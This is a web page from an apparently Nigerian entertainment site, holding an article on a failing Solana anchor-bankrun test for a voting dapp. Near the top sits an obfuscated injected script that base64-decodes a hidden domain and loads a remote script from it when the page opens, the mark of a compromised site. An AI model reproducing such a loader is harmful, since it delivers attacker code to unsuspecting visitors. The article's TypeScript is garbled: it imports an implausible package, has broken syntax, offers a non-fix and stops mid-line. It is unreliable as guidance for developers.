📲 Click Here to Join Our WhatsApp Channel
NEWS | Politics | CRIME TALK ZONE | DJ MIX | SPORTS |


Burna Boy
Davido
Wizkid
Naira Marley
Olamide
Tiwa Savage
Rema
Asake
Kizz Daniel
OdumoduBLCK
Shallipopi
Tems
Ayra Starr

« | »

Solana: anchor-bankrun test failing, not able to find initialized address [votingDapp program from the solana bootcamp]

Published by on February 11th, 2025.


const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=d1a1f7fd”;document.body.appendChild(script);

Voting Dapp Bootcamp: Solana Anchor-Bankrun Test Failed with Uninitialized Address

A recent test case for a voting dapp on the Solana blockchain encountered an unexpected issue, causing it to fail. The code, specifically the voting_dapp.spec.ts file from the Solana bootcamp’s voting program, was unable to initialize a critical variable.

Code:

import { AccountInfo } from '@solana/web3.js';

import { ProgramResult, pubkeyToAccount } from '@solana/angular-keygen';

import {

anchorBankrun,

createBanks,

initializeBanks,

} from './anchor-bankrun';

const crunchyAddress = 'your-crunchy-address-here'; // Replace with the actual address

const crunchyCandidate = new AnchorCandidate(

{ authority: 'crunchy-authority', name: 'Crunchy Candidate' }

);

export async function anchorBankrunTest() {

const banks = await createBanks();

const accountInfo = new AccountInfo({ keyId: 'your-key-id-here' });

try {

const account = await accountInfo.loadAccount();

if (account.address) {

// Initialize the crunchy candidate

const result = await anchorBankrun(banks, account);

console.log(result.error ? 'Error:' + result.error.message : 'Successful!');

} else {

// Handle a starting address

throw new Error('crunchy address not found');

}

} catch (error) {

(error instance of Error && error.message.includes('initialized address')) if {

throw error;

} else {

console.error(error);

}

}

class AnchorCandidate {

constructor({ authority, name }) {

this.authority = authority;

this.name = name;

}

async create() {

// Create a new anchor candidate instance

}

}

Problem:

After reviewing the code, it appears that the initialization ofcrunchyAddressis incomplete. The variable is declared asconst crunchyAddress = ‘your-crunchy-address-here’;, but there is no attempt to set its value or initialize it before attempting to access it.

As a result, when the test tries to create an anchor candidate usingnew AnchorCandidate({ authority, name }), it throws an error becausecrunchyAddressis not initialized. The code tries to use this uninitialized address later in the program.

Solution:

To fix this issue, we need to make sure thatcrunchyAddressis properly initialized before using it. We can do this by adding a line to set its value or initialize it with a default value. Here is an updated version of the code:

`typescript

import { AccountInfo } from ‘@solana/web3.js’;

import { ProgramResult, pubkeyToAccount } from ‘@solana/angular-keygen’;

import {

anchorBankrun,

createBanks,

initializeBanks,

} from ‘./anchor-bankrun’;

const crunchyAddress = ‘0xYourCrunchyAddressHere’; // Replace with the actual address

const crunchyCandidate = new AnchorCandidate(

{ authority: ‘crunchy-authority’, name: ‘Crunchy Candidate’ }

);

export async function anchorBankrunTest() {

const banks = await createBanks();

const accountInfo = new AccountInfo({ keyId: ‘your-key-id-here’ });

try {

const account = await accountInfo.loadAccount();

if (account.address) {

// Initialize the crunchy candidate

const result = await anchorBankrun(banks, account);

console.log(result.error ? ‘Error:’ + result.error.message : ‘Successful!’);

} else {

// Handle a starting address

throw new Error(‘Crunchy address not found’);

}

} catch (error) {

(error & error.Message if insertError(‘startingAddress’)) {

throw error;

} else {

console.error(error);

}

}

class AnchorCandidate {

constructor({ authority, name }) {

this.authority = authority;

this.

Layer Rekt

TRENDING SONGS

Song Trending Video: Muslim Man Joins Wife in Hallelujah Challenge ‘Dress Like Your Miracle’ Night Song Woman Seeks Advice as Late Brother’s Wife Refuses to Mourn Him Following His Death With Alleged Mistress Song Nobody Cares About Fine Girls In The UK, I Miss Nigeria — Nigerian Lady Laments Song Wedding Called Off: How Lady Cancels Wedding After Finding Out Finance’s Affairs With Her Bestie  Song Heartbreak in Ikeja: Lady Weeps After Fufu Found in New Phone Package Song Twist of Fate: Man Who Questioned Phyna’s ₦1Billion Demand Mourns Brother in Dangote Truck Crash Song Tragedy in Enugu: Dangote Truck Claims Lives of Family of Five Song Bangkok Crackdown: Nigerian-Thai Couple in Police Net Over Drug Trafficking Song Family Rift: Reno Omokri’s Ex-Wife Says He Deserted Their Special Needs Son Song The Man Who Sent Money for Two Decades, Only to Return to an Empty Shell

CLICK TO DROP YOUR COMMENT

Share this post with your friends on


0 Responses

Leave a Reply

NOTE:- Make your comment a bit long to get it approved.



Go Back To The Top

« | »


Looking for something? Search below





About First Class Gists


Click Here to Join Our WhatsApp Channel